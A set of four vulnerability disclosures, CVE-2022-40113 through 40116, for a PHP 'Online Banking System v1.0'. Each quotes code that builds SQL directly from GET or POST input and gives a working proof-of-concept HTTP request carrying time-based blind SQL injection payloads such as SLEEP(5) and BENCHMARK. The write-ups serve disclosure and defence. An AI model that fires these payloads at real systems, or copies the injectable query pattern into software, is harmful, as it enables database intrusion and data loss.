CVE-2022-40113: BugReport/sql_injection3.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/edit_customer.php.

**Vulnerability file address**

net-banking/edit_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 23 $result0 = $conn->query($sql0); made a sql query,resulting in sql injection

......
......
......
    if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "SELECT \* FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "SELECT \* FROM passbook".$\_SESSION\['cust\_id'\]." WHERE trans\_id=(
                    SELECT MAX(trans\_id) FROM passbook".$\_SESSION\['cust\_id'\].")";

    $result0 = $conn\->query($sql0);
......
......
......

**POC**

GET /net-banking/edit\_customer.php?cust\_id=666 AND (SELECT 5721 FROM (SELECT(SLEEP(5)))pcwq) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40114: Found a vulnerability · Issue #16 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_beneficiary.php.

Permalink

**Vulnerability file address**

net-banking/delete_beneficiary.php from line 17,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 21 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
if (isset($\_GET\['cust\_id'\])) {
        $sql0 = "DELETE FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\].
                " WHERE benef\_cust\_id=".$\_GET\['cust\_id'\];
    }

    $success = 0;
    if (($conn\->query($sql0) === TRUE)) {
        $sql0 = "SELECT MAX(benef\_id) FROM beneficiary".$\_SESSION\['loggedIn\_cust\_id'\];
        $result = $conn\->query($sql0);
        $row = $result\->fetch\_assoc();
......
......
......

**POC**

GET /net-banking/delete\_beneficiary.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Upgrade-Insecure-Requests: 1

**Attack results pictures**

CVE-2022-40115: BugReport/sql_injection1.md at main · 0clickjacking0/BugReport

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the search parameter at /net-banking/beneficiary.php.

**Vulnerability file address**

net-banking/beneficiary.php from line 74,The $_POST['search'] parameter is controllable, the parameter search can be passed through post, and the $search is not protected from sql injection, line 92 $result1 = $conn->query($sql1); made a sql query,resulting in sql injection

......
......
......
if (isset($\_POST\['submit'\])) {
                    $back\_button = TRUE;
                    $search = $\_POST\['search'\];
                    $by = $\_POST\['by'\];

                    if ($by == "name") {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND (first\_name LIKE '%$search%'
                        OR last\_name LIKE '%$search%' OR CONCAT(first\_name, ' ', last\_name) LIKE '%$search%')";
                    }
                    else {
                        $sql1 = "SELECT cust\_id, first\_name, last\_name, account\_no FROM customer
                        WHERE cust\_id=".$row\["benef\_cust\_id"\]." AND account\_no LIKE '$search'";
                    }
                }
......
......
......

        <?php
            $result1 = $conn\->query($sql1);
......
......
......

**POC**

POST /net-banking/beneficiary.php HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=m5fjmb3r9rvk4i56cqc22ht3c3
Content-Length: 16

submit=&search=' AND (SELECT 2893 FROM (SELECT(SLEEP(5)))EXvW)-- WklL

**Attack results pictures**

CVE-2022-40116: Found a vulnerability · Issue #13 · zakee94/online-banking-system

Online Banking System v1.0 was discovered to contain a SQL injection vulnerability via the cust_id parameter at /net-banking/delete_customer.php.

Permalink

**Vulnerability file address**

net-banking/delete_customer.php from line 16,The $_GET['cust_id'] parameter is controllable, the parameter cust\_id can be passed through get, and the $_GET['cust_id'] is not protected from sql injection, line 36 if (($conn->query($sql0) === TRUE)) made a sql query,resulting in sql injection

......
......
......
 if (isset($\_GET\['cust\_id'\])) {
        $\_SESSION\['cust\_id'\] = $\_GET\['cust\_id'\];
    }

    $sql0 = "DELETE FROM customer WHERE cust\_id=".$\_SESSION\['cust\_id'\];
    $sql1 = "DROP TABLE passbook".$\_SESSION\['cust\_id'\];
    $sql2 = "DROP TABLE beneficiary".$\_SESSION\['cust\_id'\];

?>
......
......
......
            <?php
                if (($conn\->query($sql0) === TRUE)) { ?>
......
......
......

**POC**

GET /net-banking/delete\_customer.php?cust\_id=666 AND 3629=BENCHMARK(5000000,MD5(0x7a6f6b4e)) HTTP/1.1
Host: www.bank.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

**Attack results pictures**

Tag

#php